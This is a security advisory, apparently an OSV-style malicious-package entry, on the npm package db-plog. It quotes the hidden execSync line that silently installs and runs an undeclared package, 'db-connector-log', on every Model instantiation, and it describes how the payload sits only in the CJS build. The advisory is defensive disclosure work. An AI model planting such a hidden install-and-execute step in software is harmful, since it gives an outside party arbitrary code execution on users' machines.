MAL-2026-6538 Malicious code in db-plog (npm)

On every Model instantiation — the package's documented primary API — dist/index.js executes execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }), then require('db-connector-log') and invokes new DxDatabaseConnector({}).queryDBConnect(). The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as main) contains this dropper while the ESM bundle (dist/index.mjs, declared as module) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.